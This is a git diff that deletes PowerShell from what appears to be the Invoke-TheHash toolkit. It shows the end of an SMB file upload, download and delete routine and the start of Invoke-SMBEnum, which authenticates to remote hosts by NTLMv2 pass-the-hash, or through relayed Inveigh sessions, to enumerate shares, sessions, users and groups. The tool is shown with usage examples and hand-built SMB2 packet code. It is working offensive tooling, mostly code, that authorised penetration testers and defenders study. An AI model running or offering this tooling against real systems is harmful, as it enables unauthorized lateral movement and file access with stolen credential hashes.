-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if($source_file_size -le 65536)
-                        {
-                            $write_request_length = $source_file_size
-                        }
-                        else
-                        {
-                            $write_request_length = 65536
-                        }
-
-                        $write_request_offset = 0
-                        $write_request_step = 1
-
-                        if($Action -eq 'Delete')
-                        {
-                            $output_message = "[+] File deleted"
-                            $stage = 'CloseRequest'
-                            $action_step++
-                        }
-                        elseif($Action -eq 'Put' -and $action_step -eq 4)
-                        {
-                            $output_message = "[+] File uploaded"
-                            $stage = 'CloseRequest'
-                        }
-                        else
-                        {
-                            $stage = 'WriteRequest'
-                        }
-
-                    }
-
-                    'TreeConnect'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x1f,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $path_bytes
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-
-                        try
-                        {
-                            $client_stream.Write($client_send,0,$client_send.Length) > $null
-                            $client_stream.Flush()
-                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        }
-                        catch
-                        {
-                            Write-Output "[-] Session connection is closed"
-                            $stage = 'Exit'
-                        }
-                        
-                        if($stage -ne 'Exit')
-                        {
-
-                            if([System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00')
-                            {
-                                $error_code = [System.BitConverter]::ToString($client_receive[12..15])
-
-                                switch($error_code)
-                                {
-
-                                    'cc-00-00-c0'
-                                    {
-                                        $output_message = "[-] Share not found"
-                                        $stage = 'Exit'
-                                    }
-
-                                    '22-00-00-c0'
-                                    {
-                                        $output_message = "[-] Access denied"
-                                        $stage = 'Exit'
-                                    }
-
-                                    default
-                                    {
-                                        $error_code = $error_code -replace "-",""
-                                        $output_message = "[-] Tree connect error code 0x$error_code"
-                                        $stage = 'Exit'
-                                    }
-
-                                }
-
-                            }
-                            elseif($refresh)
-                            {
-                                Write-Output "[+] Session refreshed"
-                                $stage = 'Exit'
-                            }
-                            elseif(!$SMB_IPC)
-                            {
-                                $SMB_share_path = "\\" + $Target + "\" + $Share
-                                $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_share_path)
-                                $SMB_IPC = $true
-                                $stage = 'IoctlRequest'
-                            }
-                            else
-                            {
-
-                                if($Action -eq 'Put')
-                                {
-                                    $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory)
-                                    $create_request_extra_info = 2
-                                }
-                                else
-                                {
-                                    $create_request_extra_info = 1
-                                }
-
-                                $tree_ID = $client_receive[40..43]
-                                $stage = 'CreateRequest'
-
-                                if($Action -eq 'Get')
-                                {
-                                    $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory)
-                                }
-
-                            }
-
-                        }
-
-                    }
-
-                    'TreeDisconnect'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if($inveigh_session -and !$Logoff)
-                        {
-                            $stage = 'Exit'
-                        }
-                        else
-                        {
-                            $stage = 'Logoff'
-                        }
-
-                    }
-                        
-                    'WriteRequest'
-                    {
-
-                        if(!$Modify)
-                        {
-                            $source_file_binary_reader.BaseStream.Seek($write_request_offset,"Begin") > $null
-                            $source_file_binary_reader.Read($source_file_buffer,0,$source_file_buffer_size) > $null
-                        }
-                        else
-                        {
-                            $source_file_buffer = $Source[$write_request_offset..($write_request_offset+$write_request_length)]
-                        }
-
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_header["CreditCharge"] = 0x01,0x00
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $write_request_length $write_request_offset $SMB_file_ID $source_file_buffer
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data 
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if($write_request_step -lt $source_file_size_quotient)
-                        {
-
-                            if(!$NoProgress)
-                            {
-                                $percent_complete_calculation = [Math]::Truncate($write_request_step / $percent_complete * 100)
-                                Write-Progress -Activity "[*] Uploading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation
-                            }
-
-                            $write_request_offset+=65536
-                            $write_request_step++
-                            $stage = 'WriteRequest'
-                        }
-                        elseif($write_request_step -eq $source_file_size_quotient -and $source_file_size_remainder -ne 0)
-                        {
-                            $write_request_length = $source_file_size_remainder
-                            $write_request_offset+=65536
-                            $write_request_step++
-                            $stage = 'WriteRequest'
-                        }
-                        else
-                        {
-                            $action_step++
-                            $set_info_request_file_info_class = 0x01
-                            $set_info_request_info_level = 0x04
-                            $set_info_request_buffer = $source_file_creation_time +
-                                                        $source_file_last_access_time +
-                                                        $source_file_last_write_time +
-                                                        $source_file_last_change_time + 
-                                                        0x00,0x00,0x00,0x00,
-                                                        0x00,0x00,0x00,0x00
-
-                            if(!$Modify)
-                            {
-                                $stage = 'SetInfoRequest'
-                            }
-                            else
-                            {
-                                $output_message = "[+] File uploaded from memory"
-                                $stage = 'CloseRequest'
-                            }
-
-                        }
-
-                    }
-                    
-                }
-            
-            }
-
-        }
-
-    }
-    catch
-    {
-        $error_message = $_.Exception.Message
-        $error_message = $error_message -replace "`n",""
-        Write-Output "[-] $error_message"
-    }
-    finally
-    {  
-
-        if($file_write.Handle)
-        {
-            $file_write.Close()
-        }
-
-        if($source_file_stream.Handle)
-        {
-            $source_file_binary_reader.Close()
-            $source_file_stream.Close()
-        }
-
-        if($inveigh_session -and $Inveigh)
-        {
-            $inveigh.session_lock_table[$session] = 'open'
-            $inveigh.session_message_ID_table[$session] = $message_ID
-            $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s}
-        }
-
-        if(!$inveigh_session -or $Logoff)
-        {
-            $client.Close()
-            $client_stream.Close()
-        }
-
-    }
-
-}
-
-    if(!$Modify -or $Action -eq 'Put')
-    {
-        Write-Output $output_message
-    }
-    elseif($output_message)
-    {
-        Write-Verbose $output_message
-    }
-
-}
\ No newline at end of file
diff --git a/Invoke-SMBEnum.ps1 b/Invoke-SMBEnum.ps1
deleted file mode 100644
index 0616632..0000000
--- a/Invoke-SMBEnum.ps1
+++ /dev/null
@@ -1,3333 +0,0 @@
-function Invoke-SMBEnum
-{
-<#
-.SYNOPSIS
-Invoke-SMBEnum performs enumeration tasks over SMB with NTLMv2 pass the hash authentication. Invoke-SMBEnum
-supports SMB2 with and without SMB signing.
-
-Author: Kevin Robertson (@kevin_robertson)
-License: BSD 3-Clause
-
-.PARAMETER Target
-Hostname or IP address of target.
-
-.PARAMETER Username
-Username to use for authentication.
-
-.PARAMETER Domain
-Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the
-username. 
-
-.PARAMETER Hash
-NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
-
-.PARAMETER Action
-(All,Group,NetSession,Share,User) Default = Share: Enumeration action to perform.
-
-.PARAMETER Group
-Default = Administrators: Group to enumerate.
-
-.PARAMETER Sleep
-Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
-setting if you are experiencing strange results.
-
-.PARAMETER Session
-Inveigh-Relay authenticated session.
-
-.PARAMETER SigningCheck
-(Switch) Checks to see if SMB signing is required on a target.
-
-.EXAMPLE
-List shares.
-Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
-
-.EXAMPLE
-List NetSessions.
-Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action NetSession
-
-.EXAMPLE
-List local users using an authenticated Inveigh-Relay session.
-Invoke-SMBEnum -Session 1 -Action User
-
-.EXAMPLE
-Check if SMB signing is required.
-Invoke-SMBEnum -Target 192.168.100.20 -SigningCheck
-
-.LINK
-https://github.com/Kevin-Robertson/Invoke-TheHash
-
-#>
-[CmdletBinding(DefaultParametersetName='Default')]
-param
-(
-    [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Target,
-    [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username,
-    [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain,
-    [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Action = "All",
-    [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
-    [parameter(Mandatory=$false)][String]$Service,
-    [parameter(Mandatory=$false)][String]$Group = "Administrators",
-    [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SigningCheck,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh,
-    [parameter(Mandatory=$false)][Int]$Sleep=150
-)
-
-function ConvertFrom-PacketOrderedDictionary
-{
-    param($OrderedDictionary)
-
-    ForEach($field in $OrderedDictionary.Values)
-    {
-        $byte_array += $field
-    }
-
-    return $byte_array
-}
-
-#NetBIOS
-
-function New-PacketNetBIOSSessionService
-{
-    param([Int]$HeaderLength,[Int]$DataLength)
-
-    [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0]
-
-    $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary
-    $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00))
-    $NetBIOSSessionService.Add("Length",$length)
-
-    return $NetBIOSSessionService
-}
-
-#SMB1
-
-function New-PacketSMBHeader
-{
-    param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID)
-
-    $ProcessID = $ProcessID[0,1]
-
-    $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42))
-    $SMBHeader.Add("Command",$Command)
-    $SMBHeader.Add("ErrorClass",[Byte[]](0x00))
-    $SMBHeader.Add("Reserved",[Byte[]](0x00))
-    $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("Flags",$Flags)
-    $SMBHeader.Add("Flags2",$Flags2)
-    $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("TreeID",$TreeID)
-    $SMBHeader.Add("ProcessID",$ProcessID)
-    $SMBHeader.Add("UserID",$UserID)
-    $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00))
-
-    return $SMBHeader
-}
-
-function New-PacketSMBNegotiateProtocolRequest
-{
-    param([String]$Version)
-
-    if($Version -eq 'SMB1')
-    {
-        [Byte[]]$byte_count = 0x0c,0x00
-    }
-    else
-    {
-        [Byte[]]$byte_count = 0x22,0x00  
-    }
-
-    $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00))
-    $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count)
-    $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02))
-    $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00))
-
-    if($version -ne 'SMB1')
-    {
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00))
-    }
-
-    return $SMBNegotiateProtocolRequest
-}
-
-#SMB2
-
-function New-PacketSMB2Header
-{
-    param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID)
-
-    if($Signing)
-    {
-        $flags = 0x08,0x00,0x00,0x00      
-    }
-    else
-    {
-        $flags = 0x00,0x00,0x00,0x00
-    }
-
-    [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID)
-
-    if($message_ID.Length -eq 4)
-    {
-        $message_ID += 0x00,0x00,0x00,0x00
-    }
-
-    $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42))
-    $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00))
-    $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00))
-    $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00))
-    $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2Header.Add("Command",$Command)
-    $SMB2Header.Add("CreditRequest",$CreditRequest)
-    $SMB2Header.Add("Flags",$flags)
-    $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2Header.Add("MessageID",$message_ID)
-    $SMB2Header.Add("ProcessID",$ProcessID)
-    $SMB2Header.Add("TreeID",$TreeID)
-    $SMB2Header.Add("SessionID",$SessionID)
-    $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
-    return $SMB2Header
-}
-
-function New-PacketSMB2NegotiateProtocolRequest
-{
-    $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00))
-    $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00))
-    $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02))
-    $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02))
-
-    return $SMB2NegotiateProtocolRequest
-}
-
-function New-PacketSMB2SessionSetupRequest
-{
-    param([Byte[]]$SecurityBlob)
-
-    [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1]
-
-    $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00))
-    $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00))
-    $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01))
-    $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00))
-    $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length)
-    $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob)
-
-    return $SMB2SessionSetupRequest 
-}
-
-function New-PacketSMB2TreeConnectRequest
-{
-    param([Byte[]]$Buffer)
-
-    [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1]
-
-    $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00))
-    $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00))
-    $SMB2TreeConnectRequest.Add("PathLength",$path_length)
-    $SMB2TreeConnectRequest.Add("Buffer",$Buffer)
-
-    return $SMB2TreeConnectRequest
-}
-
-function New-PacketSMB2CreateRequestFile
-{
-    param([Byte[]]$NamedPipe)
-
-    $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1]
-
-    $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00))
-    $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00))
-    $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00))
-    $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00))
-    $SMB2CreateRequestFile.Add("NameLength",$name_length)
-    $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2CreateRequestFile.Add("Buffer",$NamedPipe)
-
-    return $SMB2CreateRequestFile
-}
-
-function New-PacketSMB2QueryInfoRequest
-{
-    param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer)
-
-    [Byte[]]$buffer_bytes = ,0x00 * $Buffer
-
-    $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00))
-    $SMB2QueryInfoRequest.Add("InfoType",$InfoType)
-    $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass)
-    $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength)
-    $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset)
-    $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2QueryInfoRequest.Add("FileID",$FileID)
-
-    if($Buffer -gt 0)
-    {
-        $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes)
-    }
-
-    return $SMB2QueryInfoRequest
-}
-
-function New-PacketSMB2ReadRequest
-{
-    param ([Byte[]]$FileID)
-
-    $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00))
-    $SMB2ReadRequest.Add("Padding",[Byte[]](0x50))
-    $SMB2ReadRequest.Add("Flags",[Byte[]](0x00))
-    $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00))
-    $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("FileID",$FileID)
-    $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00))
-    $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00))
-    $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30))
-
-    return $SMB2ReadRequest
-}
-
-function New-PacketSMB2WriteRequest
-{
-    param([Byte[]]$FileID,[Int]$RPCLength)
-
-    [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength)
-
-    $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00))
-    $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00))
-    $SMB2WriteRequest.Add("Length",$write_length)
-    $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("FileID",$FileID)
-    $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00))
-    $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00))
-    $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
-
-    return $SMB2WriteRequest
-}
-
-function New-PacketSMB2CloseRequest
-{
-    param ([Byte[]]$FileID)
-
-    $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00))
-    $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00))
-    $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2CloseRequest.Add("FileID",$FileID)
-
-    return $SMB2CloseRequest
-}
-
-function New-PacketSMB2TreeDisconnectRequest
-{
-    $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00))
-    $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
-
-    return $SMB2TreeDisconnectRequest
-}
-
-function New-PacketSMB2SessionLogoffRequest
-{
-    $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00))
-    $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00))
-
-    return $SMB2SessionLogoffRequest
-}
-
-function New-PacketSMB2IoctlRequest
-{
-    param([Byte[]]$Function,[Byte[]]$FileName,[Int]$Length,[Int]$OutSize)
-
-    [Byte[]]$indata_length = [System.BitConverter]::GetBytes($Length + 24)
-    [Byte[]]$out_size = [System.BitConverter]::GetBytes($OutSize)
-
-    $SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00))
-    $SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2IoctlRequest.Add("Function",$Function)
-    $SMB2IoctlRequest.Add("GUIDHandle",$FileName)
-    $SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00))
-    $SMB2IoctlRequest.Add("InData_Length",$indata_length)
-    $SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00))
-    $SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2IoctlRequest.Add("MaxIoctlOutSize",$out_size)
-    $SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00))
-    $SMB2IoctlRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00))
-
-    if($out_size -eq 40)
-    {
-        $SMB2IoctlRequest.Add("InData_Capabilities",[Byte[]](0x7f,0x00,0x00,0x00))
-        $SMB2IoctlRequest.Add("InData_ClientGUID",[Byte[]](0xc7,0x11,0x73,0x1e,0xa5,0x7d,0x39,0x47,0xaf,0x92,0x2d,0x88,0xc0,0x44,0xb1,0x1e))
-        $SMB2IoctlRequest.Add("InData_SecurityMode",[Byte[]](0x01))
-        $SMB2IoctlRequest.Add("InData_Unknown",[Byte[]](0x00))
-        $SMB2IoctlRequest.Add("InData_DialectCount",[Byte[]](0x02,0x00))
-        $SMB2IoctlRequest.Add("InData_Dialect",[Byte[]](0x02,0x02))
-        $SMB2IoctlRequest.Add("InData_Dialect2",[Byte[]](0x10,0x02))
-    }
-
-    return $SMB2IoctlRequest
